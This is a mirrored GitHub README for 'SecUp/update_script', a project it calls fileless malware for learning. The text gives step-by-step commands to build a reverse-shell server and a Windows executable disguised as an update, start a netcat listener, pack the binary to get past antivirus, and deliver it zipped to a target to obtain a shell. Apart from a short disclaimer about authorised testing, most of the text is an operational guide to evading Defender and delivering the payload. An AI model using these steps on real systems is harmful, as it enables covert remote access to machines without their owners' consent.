Code Monkey home page Code Monkey logo

update_script's Introduction

SecUp "Malware for Learning"

!!! FOR SECURITY TESTING PURPOSES ONLY !!!
******************************************************
DO NOT USE THIS ON SYSTEMS THAT YOU DO NOT
OWN UNLESS YOU HAVE EXPRESS PERMISSION !!!

Fileless malware that bypasses Windows Defender using PowerShell and obfuscation.
Just a simple Reverse Shell using a batch script to kick things off, after which everything is fileless.

YouTube video demonstration and explanation >>> https://youtu.be/LjoAV3O40og

Setup and Execution

  1. Clone this repo
    git clone https://github.com/daniellowrie/update_script
  2. Build SecUp.go
    go build SecUp.go
  3. Run SecUp
    ./SecUp 192.168.1.200
  4. Open another terminal, and start a Listener on port 443 (sudo if not root)
    sudo nc -vnlp 443
  5. Open another terminal, and compile EXE
    GOOS=windows go build update_script.go
  • A word about comipiling for Windows...
    • I've experienced Golang binaries getting flagged as malware, even "Hello, World!"
      • I've read that removing -ldflags and -trimpath may help and that the standard build is best for AV evasion
      • I've also read that packing can trip AV detection as well and again the standard build is best for AV evasion
        • BUT if you'd like to make the binary smaller...
          • GOOS=windows go build -ldflags "-s -w" -trimpath update_script.go
          • upx -9 update_script.exe
  1. Back at the SecUp terminal
    Press ENTER to continue...
  2. Upload and execute update_script.exe to target any way you like
  3. Shellz! :)

I would recommend putting `update_script.exe` in a zip file for transfer to target as most browsers don't like when you download rando exectuables and will complain.

Going to work on building a better mousetrap as this was just a PoC at making something 'malicious' that could bypass Defender.

Update_Script-FINAL.mp4

update_script's People

Contributors

daniellowrie avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.